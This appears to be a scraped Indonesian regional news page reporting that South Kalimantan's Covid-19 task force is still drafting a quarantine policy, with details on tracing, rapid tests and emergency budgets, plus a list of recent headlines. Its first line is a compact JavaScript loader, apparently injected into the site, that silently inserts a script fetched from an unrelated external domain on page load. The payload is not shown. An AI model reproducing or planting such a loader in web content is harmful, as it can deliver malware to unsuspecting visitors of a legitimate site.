(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Soal Karantina Wilayah, Gugus Tugas Kalsel: Masih Dirumuskan


KANALKALIMANTAN.COM, BANJARBARU – Menyusul tiga kasus baru terkonfirmasi positif Covid-19 di Kalimantan Selatan, menambah kasus positif Covid-19 menjadi 8 orang. Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel M Muslim mengatakan, hingga saat ini belum ada kebijakan karantina wilayah di Kalsel. Karena, saat ini masih dirumuskan oleh Pemprov Kalsel.

“Oleh karena itu, tentu saja akan disampaikan sosialisasi terlebih dahulu langkah-langkah yang dilakukan Pemprov Kalsel dalam upaya melakukan pemutusan mata rantai penularan dan melindungi orang-orang yang sehat, serta mengobati yang sakit sampai sembuh,” jelas Muslim.

Berbicara soal anggaran, Muslim menjelaskan, pada masa tanggap darurat seperti ini, sebagaimana peraturan pemerintah, semua potensi yang ada seperti anggaran tambahan baik konteks darurat melalui ABPD Provinsi didukung APBN. Sementara, anggaran yang ada sudah diinstruksikan Gubernur Kalsel maupun bupati/walikota di Kalsel untuk melakukan upaya-upaya penanganan Covid-19.

Di samping itu, Muslim menerangkan, dengan adanya temuan kasus terkonfirmasi positif Covid-19 yang memiliki riwayat kontak dengan pasien Ulin-1, upaya tracing dilakukan Tim Surveilans Epidemiologi dilakukan secara massif.

“Prioritas-prioritas dalam upaya tracing ini sudah dilakukan dan sudah dipetakan. Tentu saja memprioritaskan apa yang mendesak dan apa yang harus dilakukan oleh teman-teman di lapangan,” beber Muslim.

Sehingga, hasil rapid test yang dilakukan merupakan upaya untuk pemetaan. Karena, hasil ini harus tetap dioptimalkan. “Kalau dikatakan reaktif, maka bisa ditindaklanjuti dengan pemeriksaan yang menjadi standarnya adalah PCA,” sebut Muslim.

Muslim mengatakan pelaksanaan rapid test sudah dilakukan baik di rumah sakit maupun oleh Tim Surveilans Epidemiologi dalam upaya tracing. Seperti diketahui, rapid test diprioritaskan untuk orang dalam pemantauan (ODP) dengan gejala klinis, pasien dalam pengawasan (PDP), kontak erat dari orang-orang yang terkonfirmasi, serta tenaga medis yang memberikan pelayanan kepada pasien baik diduga maupun positif Covid-19. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

13 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

13 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.